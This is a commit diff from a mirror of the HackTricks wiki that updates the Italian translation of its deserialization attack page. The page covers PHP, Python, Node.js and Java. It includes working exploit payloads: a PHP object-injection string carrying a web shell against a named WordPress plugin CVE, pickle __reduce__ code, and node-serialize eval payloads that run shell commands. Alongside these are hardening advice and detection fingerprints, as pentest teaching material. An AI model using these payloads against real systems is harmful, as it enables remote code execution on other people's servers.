mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/java-signedobject-gated-
This commit is contained in:
parent
d59e1f0330
commit
4d1fb13574
@ -622,6 +622,7 @@
|
||||
- [Java JSF ViewState (.faces) Deserialization](pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md)
|
||||
- [Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner](pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md)
|
||||
- [Basic Java Deserialization (ObjectInputStream, readObject)](pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md)
|
||||
- [Java Signedobject Gated Deserialization](pentesting-web/deserialization/java-signedobject-gated-deserialization.md)
|
||||
- [PHP - Deserialization + Autoload Classes](pentesting-web/deserialization/php-deserialization-+-autoload-classes.md)
|
||||
- [CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep](pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md)
|
||||
- [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)](pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)
|
||||
|
@ -2,23 +2,23 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Informazioni di base
|
||||
|
||||
**Serialization** è intesa come il metodo di conversione di un oggetto in un formato che può essere preservato, con l'intento di memorizzare l'oggetto o trasmetterlo come parte di un processo di comunicazione. Questa tecnica è comunemente impiegata per garantire che l'oggetto possa essere ricreato in un secondo momento, mantenendo la sua struttura e stato.
|
||||
**Serialization** è intesa come il metodo di conversione di un oggetto in un formato che può essere preservato, con l'intento di memorizzare l'oggetto o trasmetterlo come parte di un processo di comunicazione. Questa tecnica è comunemente impiegata per garantire che l'oggetto possa essere ricreato in un secondo momento, preservandone struttura e stato.
|
||||
|
||||
**Deserialization**, al contrario, è il processo che contrasta la serializzazione. Comporta il prendere dati che sono stati strutturati in un formato specifico e ricostruirli nuovamente in un oggetto.
|
||||
**Deserialization**, al contrario, è il processo che contrasta **Serialization**. Consiste nel prendere dati strutturati in un formato specifico e ricostruirli nuovamente in un oggetto.
|
||||
|
||||
La deserializzazione può essere pericolosa perché **consente potenzialmente agli attaccanti di manipolare i dati serializzati per eseguire codice dannoso** o causare comportamenti imprevisti nell'applicazione durante il processo di ricostruzione dell'oggetto.
|
||||
La **Deserialization** può essere pericolosa perché potenzialmente **consente agli attaccanti di manipolare i dati serializzati per eseguire codice dannoso** o causare comportamenti imprevisti nell'applicazione durante il processo di ricostruzione dell'oggetto.
|
||||
|
||||
## PHP
|
||||
|
||||
In PHP, specifici metodi magici sono utilizzati durante i processi di serializzazione e deserializzazione:
|
||||
In PHP, vengono utilizzati specifici metodi magici durante i processi di serialization e deserialization:
|
||||
|
||||
- `__sleep`: Invocato quando un oggetto viene serializzato. Questo metodo dovrebbe restituire un array dei nomi di tutte le proprietà dell'oggetto che dovrebbero essere serializzate. È comunemente usato per impegnare dati in sospeso o eseguire compiti di pulizia simili.
|
||||
- `__wakeup`: Chiamato quando un oggetto viene deserializzato. Viene utilizzato per ristabilire eventuali connessioni al database che potrebbero essere state perse durante la serializzazione e per eseguire altri compiti di reinizializzazione.
|
||||
- `__unserialize`: Questo metodo viene chiamato invece di `__wakeup` (se esiste) quando un oggetto viene deserializzato. Fornisce maggiore controllo sul processo di deserializzazione rispetto a `__wakeup`.
|
||||
- `__destruct`: Questo metodo viene chiamato quando un oggetto sta per essere distrutto o quando lo script termina. È tipicamente usato per compiti di pulizia, come la chiusura di handle di file o connessioni al database.
|
||||
- `__toString`: Questo metodo consente a un oggetto di essere trattato come una stringa. Può essere utilizzato per leggere un file o altri compiti basati sulle chiamate di funzione al suo interno, fornendo effettivamente una rappresentazione testuale dell'oggetto.
|
||||
- `__sleep`: Viene invocato quando un oggetto viene serializzato. Questo metodo dovrebbe restituire un array con i nomi di tutte le proprietà dell'oggetto che devono essere serializzate. È comunemente usato per salvare dati in sospeso o eseguire attività di pulizia simili.
|
||||
- `__wakeup`: Chiamato quando un oggetto viene deserializzato. Viene usato per ristabilire eventuali connessioni al database perse durante la serialization ed eseguire altre attività di reinizializzazione.
|
||||
- `__unserialize`: Questo metodo è chiamato al posto di `__wakeup` (se esiste) quando un oggetto viene deserializzato. Fornisce un maggiore controllo sul processo di deserialization rispetto a `__wakeup`.
|
||||
- `__destruct`: Questo metodo viene chiamato quando un oggetto sta per essere distrutto o quando lo script termina. È tipicamente usato per attività di pulizia, come chiudere handle di file o connessioni al database.
|
||||
- `__toString`: Questo metodo permette di trattare un oggetto come una stringa. Può essere usato per leggere un file o altri compiti basati sulle chiamate di funzione al suo interno, fornendo efficacemente una rappresentazione testuale dell'oggetto.
|
||||
```php
|
||||
<?php
|
||||
class test {
|
||||
@ -74,10 +74,10 @@ This is a test<br />
|
||||
*/
|
||||
?>
|
||||
```
|
||||
Se guardi i risultati, puoi vedere che le funzioni **`__wakeup`** e **`__destruct`** vengono chiamate quando l'oggetto viene deserializzato. Nota che in diversi tutorial troverai che la funzione **`__toString`** viene chiamata quando si cerca di stampare un attributo, ma apparentemente **non sta più accadendo**.
|
||||
Se guardi i risultati puoi vedere che le funzioni **`__wakeup`** e **`__destruct`** vengono chiamate quando l'oggetto viene deserializzato. Nota che in diversi tutorial troverai che la funzione **`__toString`** viene chiamata quando si prova a stampare qualche attributo, ma apparentemente questo **non avviene più**.
|
||||
|
||||
> [!WARNING]
|
||||
> Il metodo **`__unserialize(array $data)`** viene chiamato **invece di `__wakeup()`** se è implementato nella classe. Ti consente di deserializzare l'oggetto fornendo i dati serializzati come array. Puoi utilizzare questo metodo per deserializzare le proprietà e svolgere eventuali compiti necessari al momento della deserializzazione.
|
||||
> Il metodo **`__unserialize(array $data)`** viene chiamato **invece di `__wakeup()`** se è implementato nella classe. Permette di unserializzare l'oggetto fornendo i dati serializzati come array. Puoi usare questo metodo per unserializzare le proprietà ed eseguire le operazioni necessarie al momento della deserializzazione.
|
||||
>
|
||||
> ```php
|
||||
> class MyClass {
|
||||
@ -85,25 +85,25 @@ Se guardi i risultati, puoi vedere che le funzioni **`__wakeup`** e **`__destruc
|
||||
>
|
||||
> public function __unserialize(array $data): void {
|
||||
> $this->property = $data['property'];
|
||||
> // Esegui eventuali compiti necessari al momento della deserializzazione.
|
||||
> // Perform any necessary tasks upon deserialization.
|
||||
> }
|
||||
> }
|
||||
> ```
|
||||
|
||||
Puoi leggere un **esempio PHP spiegato qui**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), qui [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) o qui [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
Puoi leggere un esempio PHP spiegato qui: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), qui [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) o qui [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
|
||||
### PHP Deserial + Autoload Classes
|
||||
|
||||
Potresti abusare della funzionalità di autoload di PHP per caricare file php arbitrari e altro:
|
||||
Potresti abusare della funzionalità PHP autoload per caricare file php arbitrari e altro:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
php-deserialization-+-autoload-classes.md
|
||||
{{#endref}}
|
||||
|
||||
### Serializing Referenced Values
|
||||
### Serializzare valori referenziati
|
||||
|
||||
Se per qualche motivo vuoi serializzare un valore come una **riferimento a un altro valore serializzato**, puoi:
|
||||
Se per qualche motivo vuoi serializzare un valore come **riferimento a un altro valore serializzato** puoi:
|
||||
```php
|
||||
<?php
|
||||
class AClass {
|
||||
@ -116,12 +116,12 @@ $o->param1 =& $o->param22;
|
||||
$o->param = "PARAM";
|
||||
$ser=serialize($o);
|
||||
```
|
||||
### Prevenire l'Iniezione di Oggetti PHP con `allowed_classes`
|
||||
### Prevenire PHP Object Injection con `allowed_classes`
|
||||
|
||||
> [!INFO]
|
||||
> Il supporto per il **secondo argomento** di `unserialize()` (l'array `$options`) è stato aggiunto in **PHP 7.0**. Nelle versioni precedenti, la funzione accetta solo la stringa serializzata, rendendo impossibile limitare quali classi possono essere istanziate.
|
||||
> Il supporto per il **secondo argomento** di `unserialize()` (l'array `$options`) è stato aggiunto in **PHP 7.0**. Nelle versioni più vecchie la funzione accetta solo la stringa serializzata, rendendo impossibile limitare quali classi possono essere istanziate.
|
||||
|
||||
`unserialize()` **istanzerà ogni classe** che trova all'interno dello stream serializzato a meno che non venga indicato diversamente. Dalla PHP 7, il comportamento può essere limitato con l'opzione [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php):
|
||||
`unserialize()` istanzierà **ogni classe** che trova all'interno dello stream serializzato a meno che non venga detto altrimenti. Da PHP 7 il comportamento può essere limitato con l'opzione [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php):
|
||||
```php
|
||||
// NEVER DO THIS – full object instantiation
|
||||
$object = unserialize($userControlledData);
|
||||
@ -136,11 +136,11 @@ $object = unserialize($userControlledData, [
|
||||
'allowed_classes' => [MyModel::class, DateTime::class]
|
||||
]);
|
||||
```
|
||||
Se **`allowed_classes` è omesso _o_ il codice gira su PHP < 7.0**, la chiamata diventa **pericolosa** poiché un attaccante può creare un payload che sfrutta metodi magici come `__wakeup()` o `__destruct()` per ottenere l'Esecuzione Remota di Codice (RCE).
|
||||
Se **`allowed_classes` viene omesso _o_ il codice viene eseguito su PHP < 7.0**, la chiamata diventa **pericolosa** perché un attacker può creare un payload che sfrutta metodi magici come `__wakeup()` o `__destruct()` per ottenere Remote Code Execution (RCE).
|
||||
|
||||
#### Esempio reale: Everest Forms (WordPress) CVE-2025-52709
|
||||
|
||||
Il plugin WordPress **Everest Forms ≤ 3.2.2** ha cercato di essere difensivo con un wrapper di supporto ma ha dimenticato le versioni legacy di PHP:
|
||||
Il plugin WordPress **Everest Forms ≤ 3.2.2** ha cercato di essere difensivo tramite un helper wrapper, ma ha dimenticato le versioni legacy di PHP:
|
||||
```php
|
||||
function evf_maybe_unserialize($data, $options = array()) {
|
||||
if (is_serialized($data)) {
|
||||
@ -155,29 +155,29 @@ return @unserialize(trim($data));
|
||||
return $data;
|
||||
}
|
||||
```
|
||||
Su server che eseguivano ancora **PHP ≤ 7.0**, questo secondo ramo portava a un classico **PHP Object Injection** quando un amministratore apriva un invio di modulo malevolo. Un payload di exploit minimo potrebbe apparire così:
|
||||
Su server che eseguivano ancora **PHP ≤ 7.0** questo secondo ramo portava a una classica **PHP Object Injection** quando un amministratore apriva una submission di form malevola. Un payload di exploit minimale potrebbe essere:
|
||||
```
|
||||
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
|
||||
```
|
||||
Non appena l'amministratore ha visualizzato l'entrata, l'oggetto è stato istanziato e `SomeClass::__destruct()` è stato eseguito, risultando in un'esecuzione di codice arbitrario.
|
||||
Non appena l'amministratore visualizzò la voce, l'oggetto venne istanziato e `SomeClass::__destruct()` venne eseguito, risultando in arbitrary code execution.
|
||||
|
||||
**Take-aways**
|
||||
**Punti chiave**
|
||||
1. Passa sempre `['allowed_classes' => false]` (o una white-list rigorosa) quando chiami `unserialize()`.
|
||||
2. Controlla i wrapper difensivi – spesso dimenticano i rami legacy di PHP.
|
||||
3. Aggiornare a **PHP ≥ 7.x** da solo *non* è sufficiente: l'opzione deve ancora essere fornita esplicitamente.
|
||||
2. Esegui l'audit dei wrapper difensivi – spesso dimenticano i rami legacy di PHP.
|
||||
3. Aggiornare a **PHP ≥ 7.x** da solo *non* è sufficiente: l'opzione deve comunque essere fornita esplicitamente.
|
||||
|
||||
---
|
||||
|
||||
### PHPGGC (ysoserial per PHP)
|
||||
### PHPGGC (ysoserial for PHP)
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) può aiutarti a generare payload per abusare delle deserializzazioni PHP.\
|
||||
Nota che in diversi casi **non sarai in grado di trovare un modo per abusare di una deserializzazione nel codice sorgente** dell'applicazione, ma potresti essere in grado di **abusare del codice delle estensioni PHP esterne.**\
|
||||
Quindi, se puoi, controlla il `phpinfo()` del server e **cerca su internet** (e anche sui **gadgets** di **PHPGGC**) alcuni possibili gadget che potresti abusare.
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) può aiutarti a generare payload per sfruttare deserializations in PHP.\
|
||||
Nota che in diversi casi **non riuscirai a trovare un modo per abusare di una deserialization nel codice sorgente** dell'applicazione ma potresti essere in grado di **abusare del codice di estensioni PHP esterne.**\
|
||||
Quindi, se puoi, controlla il `phpinfo()` del server e **cerca su internet** (anche tra i **gadgets** di **PHPGGC**) qualche gadget che potresti sfruttare.
|
||||
|
||||
### deserializzazione dei metadati phar://
|
||||
### phar:// metadata deserialization
|
||||
|
||||
Se hai trovato un LFI che sta solo leggendo il file e non eseguendo il codice php al suo interno, ad esempio utilizzando funzioni come _**file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize()**_**.** Puoi provare ad abusare di una **deserializzazione** che si verifica quando **leggi** un **file** utilizzando il protocollo **phar**.\
|
||||
Per ulteriori informazioni leggi il seguente post:
|
||||
Se hai trovato una LFI che si limita a leggere il file e non a eseguire il codice php al suo interno, per esempio usando funzioni come _**file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**_**.** Puoi provare ad abusare di una **deserialization** che avviene quando si **legge** un **file** usando il protocollo **phar**.\
|
||||
Per maggiori informazioni leggi il seguente post:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -188,8 +188,8 @@ Per ulteriori informazioni leggi il seguente post:
|
||||
|
||||
### **Pickle**
|
||||
|
||||
Quando l'oggetto viene deserializzato, la funzione \_\_\_reduce\_\_\_ verrà eseguita.\
|
||||
Quando sfruttato, il server potrebbe restituire un errore.
|
||||
Quando l'oggetto viene unpickle, la funzione \_\_\_reduce\_\_\_ verrà eseguita.\
|
||||
Quando sfruttata, il server potrebbe restituire un errore.
|
||||
```python
|
||||
import pickle, os, base64
|
||||
class P(object):
|
||||
@ -199,7 +199,8 @@ print(base64.b64encode(pickle.dumps(P())))
|
||||
```
|
||||
Prima di controllare la tecnica di bypass, prova a usare `print(base64.b64encode(pickle.dumps(P(),2)))` per generare un oggetto compatibile con python2 se stai eseguendo python3.
|
||||
|
||||
Per ulteriori informazioni su come evadere da **pickle jails** controlla:
|
||||
Per maggiori informazioni su come evadere dalle **pickle jails** consulta:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||
@ -207,7 +208,8 @@ Per ulteriori informazioni su come evadere da **pickle jails** controlla:
|
||||
|
||||
### Yaml **&** jsonpickle
|
||||
|
||||
La pagina seguente presenta la tecnica per **abuse an unsafe deserialization in yamls** delle librerie python e termina con uno strumento che può essere utilizzato per generare payload di deserializzazione RCE per **Pickle, PyYAML, jsonpickle e ruamel.yaml**:
|
||||
La pagina seguente presenta la tecnica per **abusare di una deserializzazione insicura nelle librerie python per yaml** e termina con uno strumento che può essere usato per generare payload di RCE da deserializzazione per **Pickle, PyYAML, jsonpickle and ruamel.yaml**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
python-yaml-deserialization.md
|
||||
@ -215,18 +217,19 @@ python-yaml-deserialization.md
|
||||
|
||||
### Class Pollution (Python Prototype Pollution)
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
|
||||
{{#endref}}
|
||||
|
||||
## NodeJS
|
||||
|
||||
### JS Magic Functions
|
||||
### Funzioni "magiche" di JS
|
||||
|
||||
JS **non ha funzioni "magiche"** come PHP o Python che vengono eseguite solo per creare un oggetto. Ma ha alcune **funzioni** che sono **frequentemente usate anche senza chiamarle direttamente** come **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
Se abusando di una deserializzazione puoi **compromettere queste funzioni per eseguire altro codice** (potenzialmente abusando delle inquinamenti del prototipo) potresti eseguire codice arbitrario quando vengono chiamate.
|
||||
JS **non ha "magic" functions** come PHP o Python che vengono eseguite semplicemente creando un oggetto. Ma ha alcune **funzioni** che vengono **usate frequentemente anche senza chiamarle direttamente** come **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
Se, sfruttando una deserializzazione, riesci a **compromettere queste funzioni per eseguire altro codice** (potenzialmente abusando di prototype pollutions) potresti eseguire codice arbitrario quando vengono chiamate.
|
||||
|
||||
Un altro **modo "magico" per chiamare una funzione** senza chiamarla direttamente è **compromettendo un oggetto restituito da una funzione async** (promise). Perché, se **trasformi** quell'**oggetto di ritorno** in un'altra **promise** con una **proprietà** chiamata **"then" di tipo funzione**, verrà **eseguito** solo perché è restituito da un'altra promise. _Segui_ [_**questo link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _per ulteriori informazioni._
|
||||
Un altro **"magic" way to call a function** without calling it directly is by **compromising an object that is returned by an async function** (promise). Because, if you **transform** that **return object** in another **promise** with a **property** called **"then" of type function**, it will be **executed** just because it's returned by another promise. _Follow_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _for more info._
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
@ -250,9 +253,9 @@ test_ressolve()
|
||||
test_then()
|
||||
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
|
||||
```
|
||||
### `__proto__` e inquinamento di `prototype`
|
||||
### `__proto__` and `prototype` pollution
|
||||
|
||||
Se vuoi imparare su questa tecnica **dai un'occhiata al seguente tutorial**:
|
||||
Se vuoi approfondire questa tecnica **dai un'occhiata al seguente tutorial**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -261,7 +264,7 @@ nodejs-proto-prototype-pollution/
|
||||
|
||||
### [node-serialize](https://www.npmjs.com/package/node-serialize)
|
||||
|
||||
Questa libreria consente di serializzare funzioni. Esempio:
|
||||
Questa libreria permette di serializzare funzioni. Esempio:
|
||||
```javascript
|
||||
var y = {
|
||||
rce: function () {
|
||||
@ -274,22 +277,22 @@ var serialize = require("node-serialize")
|
||||
var payload_serialized = serialize.serialize(y)
|
||||
console.log("Serialized: \n" + payload_serialized)
|
||||
```
|
||||
L'**oggetto serializzato** apparirà come:
|
||||
L'**oggetto serializzato** apparirà così:
|
||||
```bash
|
||||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||||
```
|
||||
Puoi vedere nell'esempio che quando una funzione è serializzata, il flag `_$$ND_FUNC$$_` viene aggiunto all'oggetto serializzato.
|
||||
Come puoi vedere nell'esempio, quando una funzione viene serializzata il flag `_$$ND_FUNC$$_` viene aggiunto all'oggetto serializzato.
|
||||
|
||||
All'interno del file `node-serialize/lib/serialize.js` puoi trovare lo stesso flag e come il codice lo utilizza.
|
||||
Nel file `node-serialize/lib/serialize.js` puoi trovare lo stesso flag e come il codice lo utilizza.
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Come puoi vedere nell'ultimo blocco di codice, **se il flag viene trovato** `eval` viene utilizzato per deserializzare la funzione, quindi fondamentalmente **l'input dell'utente viene utilizzato all'interno della funzione `eval`**.
|
||||
Come si può vedere nell'ultimo blocco di codice, **se il flag viene trovato** `eval` viene usato per deserializzare la funzione, quindi sostanzialmente **l'input utente viene usato all'interno della funzione `eval`**.
|
||||
|
||||
Tuttavia, **serializzare semplicemente** una funzione **non la eseguirà** poiché sarebbe necessario che qualche parte del codice **chiamasse `y.rce`** nel nostro esempio e ciò è altamente **improbabile**.\
|
||||
Comunque, potresti semplicemente **modificare l'oggetto serializzato** **aggiungendo alcune parentesi** in modo da eseguire automaticamente la funzione serializzata quando l'oggetto viene deserializzato.\
|
||||
Tuttavia, **serializzare semplicemente** una funzione **non la eseguirà**, poiché sarebbe necessario che qualche parte del codice stesse **chiamando `y.rce`** nel nostro esempio e ciò è altamente **improbabile**.\
|
||||
Comunque, puoi semplicemente **modificare l'oggetto serializzato** **aggiungendo delle parentesi** per eseguire automaticamente la funzione serializzata quando l'oggetto viene deserializzato.\
|
||||
Nel prossimo blocco di codice **nota l'ultima parentesi** e come la funzione `unserialize` eseguirà automaticamente il codice:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
@ -298,20 +301,20 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
|
||||
}
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
Come indicato in precedenza, questa libreria otterrà il codice dopo `_$$ND_FUNC$$_` e **lo eseguirà** utilizzando `eval`. Pertanto, per **eseguire automaticamente il codice** puoi **eliminare la parte di creazione della funzione** e l'ultima parentesi e **eseguire semplicemente un oneliner JS** come nel seguente esempio:
|
||||
Come indicato in precedenza, questa libreria prenderà il codice dopo `_$$ND_FUNC$$_` e lo **eseguirà** usando `eval`. Pertanto, per **eseguire automaticamente il codice** puoi **eliminare la parte di creazione della funzione** e l'ultima parentesi e **semplicemente eseguire un JS oneliner** come nell'esempio seguente:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test =
|
||||
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
Puoi [**trovare qui**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **ulteriori informazioni** su come sfruttare questa vulnerabilità.
|
||||
Puoi trovare [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **ulteriori informazioni** su come sfruttare questa vulnerabilità.
|
||||
|
||||
### [funcster](https://www.npmjs.com/package/funcster)
|
||||
|
||||
Un aspetto notevole di **funcster** è l'inaccessibilità degli **oggetti standard incorporati**; essi rientrano al di fuori dell'ambito accessibile. Questa restrizione impedisce l'esecuzione di codice che tenta di invocare metodi su oggetti incorporati, portando a eccezioni come `"ReferenceError: console is not defined"` quando vengono utilizzati comandi come `console.log()` o `require(something)`.
|
||||
Un aspetto notevole di **funcster** è l'inaccessibilità dei **standard built-in objects**; essi ricadono al di fuori dello scope accessibile. Questa restrizione impedisce l'esecuzione di codice che tenta di invocare metodi sugli oggetti built-in, causando eccezioni come "ReferenceError: console is not defined" quando vengono usati comandi come `console.log()` o `require(something)`.
|
||||
|
||||
Nonostante questa limitazione, è possibile ripristinare l'accesso completo al contesto globale, inclusi tutti gli oggetti standard incorporati, attraverso un approccio specifico. Sfruttando direttamente il contesto globale, si può eludere questa restrizione. Ad esempio, l'accesso può essere ripristinato utilizzando il seguente frammento:
|
||||
Nonostante questa limitazione, il ripristino dell'accesso completo al contesto globale, inclusi tutti gli oggetti built-in standard, è possibile tramite un approccio specifico. Sfruttando direttamente il contesto globale, è possibile bypassare questa restrizione. Per esempio, l'accesso può essere ripristinato usando il seguente snippet:
|
||||
```javascript
|
||||
funcster = require("funcster")
|
||||
//Serialization
|
||||
@ -337,13 +340,13 @@ funcster.deepDeserialize(desertest3)
|
||||
|
||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||
|
||||
Il pacchetto **serialize-javascript** è progettato esclusivamente per scopi di serializzazione, privo di qualsiasi capacità di deserializzazione integrata. Gli utenti sono responsabili dell'implementazione del proprio metodo per la deserializzazione. Un uso diretto di `eval` è suggerito dall'esempio ufficiale per deserializzare i dati serializzati:
|
||||
Il pacchetto **serialize-javascript** è progettato esclusivamente per scopi di serialization e non dispone di capacità di deserialization integrate. Gli utenti devono implementare il proprio metodo di deserialization. Nell'esempio ufficiale per deserializing serialized data viene suggerito l'uso diretto di `eval`:
|
||||
```javascript
|
||||
function deserialize(serializedJavascript) {
|
||||
return eval("(" + serializedJavascript + ")")
|
||||
}
|
||||
```
|
||||
Se questa funzione viene utilizzata per deserializzare oggetti, puoi **sfruttarla facilmente**:
|
||||
Se questa funzione viene usata per deserialize objects puoi **sfruttarla facilmente**:
|
||||
```javascript
|
||||
var serialize = require("serialize-javascript")
|
||||
//Serialization
|
||||
@ -368,79 +371,89 @@ Nelle pagine seguenti puoi trovare informazioni su come abusare di questa librer
|
||||
|
||||
## Java - HTTP
|
||||
|
||||
In Java, **i callback di deserializzazione vengono eseguiti durante il processo di deserializzazione**. Questa esecuzione può essere sfruttata da attaccanti che creano payload dannosi che attivano questi callback, portando a potenziali esecuzioni di azioni dannose.
|
||||
In Java, **le deserialization callbacks vengono eseguite durante il processo di deserialization**. Questa esecuzione può essere sfruttata da attaccanti che costruiscono payload malevoli che attivano queste callback, portando alla possibile esecuzione di azioni dannose.
|
||||
|
||||
### Impronte
|
||||
|
||||
#### White Box
|
||||
|
||||
Per identificare potenziali vulnerabilità di serializzazione nel codice, cerca:
|
||||
Per identificare potenziali vulnerabilità di serialization nel codebase cerca:
|
||||
|
||||
- Classi che implementano l'interfaccia `Serializable`.
|
||||
- Utilizzo delle funzioni `java.io.ObjectInputStream`, `readObject`, `readUnshare`.
|
||||
- Uso di `java.io.ObjectInputStream`, delle funzioni `readObject`, `readUnshare`.
|
||||
|
||||
Fai particolare attenzione a:
|
||||
Presta particolare attenzione a:
|
||||
|
||||
- `XMLDecoder` utilizzato con parametri definiti da utenti esterni.
|
||||
- Il metodo `fromXML` di `XStream`, specialmente se la versione di XStream è minore o uguale a 1.46, poiché è suscettibile a problemi di serializzazione.
|
||||
- il metodo `fromXML` di `XStream`, specialmente se la versione di XStream è minore o uguale a 1.46, poiché è suscettibile a problemi di serialization.
|
||||
- `ObjectInputStream` accoppiato con il metodo `readObject`.
|
||||
- Implementazione di metodi come `readObject`, `readObjectNodData`, `readResolve` o `readExternal`.
|
||||
- Implementazione di metodi come `readObject`, `readObjectNodData`, `readResolve`, o `readExternal`.
|
||||
- `ObjectInputStream.readUnshared`.
|
||||
- Uso generale di `Serializable`.
|
||||
|
||||
#### Black Box
|
||||
|
||||
Per il testing black box, cerca specifiche **firme o "Magic Bytes"** che denotano oggetti serializzati java (provenienti da `ObjectInputStream`):
|
||||
Per il testing Black Box, cerca specifiche **signature o "Magic Bytes"** che denotano oggetti java serializzati (originari di `ObjectInputStream`):
|
||||
|
||||
- Modello esadecimale: `AC ED 00 05`.
|
||||
- Modello Base64: `rO0`.
|
||||
- Pattern esadecimale: `AC ED 00 05`.
|
||||
- Pattern Base64: `rO0`.
|
||||
- Intestazioni di risposta HTTP con `Content-type` impostato su `application/x-java-serialized-object`.
|
||||
- Modello esadecimale che indica una compressione precedente: `1F 8B 08 00`.
|
||||
- Modello Base64 che indica una compressione precedente: `H4sIA`.
|
||||
- File web con estensione `.faces` e il parametro `faces.ViewState`. Scoprire questi modelli in un'applicazione web dovrebbe indurre a un esame come dettagliato nel [post sulla Deserializzazione del ViewState di Java JSF](java-jsf-viewstate-.faces-deserialization.md).
|
||||
- Pattern esadecimale che indica compressione precedente: `1F 8B 08 00`.
|
||||
- Pattern Base64 che indica compressione precedente: `H4sIA`.
|
||||
- File web con estensione `.faces` e il parametro `faces.ViewState`. La scoperta di questi pattern in un'applicazione web dovrebbe indurre a esaminare la situazione come descritto nel [post about Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md).
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
```
|
||||
### Controlla se vulnerabile
|
||||
### Controlla se è vulnerabile
|
||||
|
||||
Se vuoi **imparare come funziona un exploit di deserializzazione Java** dovresti dare un'occhiata a [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), e [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
|
||||
Se vuoi **imparare come funziona un Java Deserialized exploit** dovresti dare un'occhiata a [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), e [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
|
||||
|
||||
#### Test White Box
|
||||
#### SignedObject-gated deserialization and pre-auth reachability
|
||||
|
||||
Puoi controllare se è installata qualche applicazione con vulnerabilità note.
|
||||
Le codebase moderne a volte avvolgono la deserializzazione con `java.security.SignedObject` e validano una signature prima di chiamare `getObject()` (che deserializza l'oggetto interno). Questo impedisce arbitrary top-level gadget classes ma può comunque essere sfruttato se un attacker può ottenere una valid signature (es. private-key compromise o un signing oracle). Inoltre, i flussi di error-handling possono mint session-bound tokens per utenti non autenticati, esponendo sink altrimenti protetti pre-auth.
|
||||
|
||||
Per un case study concreto con requests, IoCs, and hardening guidance, vedi:
|
||||
|
||||
{{#ref}}
|
||||
java-signedobject-gated-deserialization.md
|
||||
{{#endref}}
|
||||
|
||||
#### White Box Test
|
||||
|
||||
Puoi verificare se è installata qualche applicazione con vulnerabilità note.
|
||||
```bash
|
||||
find . -iname "*commons*collection*"
|
||||
grep -R InvokeTransformer .
|
||||
```
|
||||
